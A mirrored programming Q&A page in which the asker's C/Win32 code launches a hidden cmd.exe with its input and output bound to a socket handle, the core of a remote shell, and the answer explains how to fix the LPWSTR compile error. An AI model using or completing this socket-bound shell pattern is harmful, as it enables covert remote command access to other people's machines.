简体   繁体   中英

Convert argument to LPWSTR CreateProcess

I am trying to perform some actions using cmd.exe but I want to hide cmd.exe . When I tried to use full path instead of cmd.exe I always get this error:

char Process[] = "C:\\WINDOWS\\System32\\cmd.exe";
                STARTUPINFO sinfo;
                PROCESS_INFORMATION pinfo;
                memset(&sinfo, 0, sizeof(sinfo));
                sinfo.cb = sizeof(sinfo);
                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)mySocket;
                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
                WaitForSingleObject(pinfo.hProcess, INFINITE);
                CloseHandle(pinfo.hProcess);
                CloseHandle(pinfo.hThread);

I always get:

CreateProcessW(LPCWSTR,LPWSTR,LPSECURITY_ATTRIBUTES,LPSECURITY_ATTRIBUTES,BOOL,DWORD,LPVOID,LPCWSTR,LPSTARTUPINFOW,LPPROCESS_INFORMATION)': cannot convert argument 2 from 'char [28]' to 'LPWSTR' ConsoleApplication1

You are passing a narrow character array instead of a wide character array.

Change your project's character encoding setting to MultiByte instead of Unicode so that CreateProcess uses CreateProcessA instead of CreateProcessW .

Or, use wchar_t (or WCHAR , which is a typedef available in Windows for wchar_t ) instead of char :

wchar_t Process[] = L"C:\\WINDOWS\\System32\\cmd.exe";

Or, you can change the code to use CreateProcessA manually:

char Process[] = "C:\\WINDOWS\\System32\\cmd.exe";
...
CreateProcessA(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
...

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM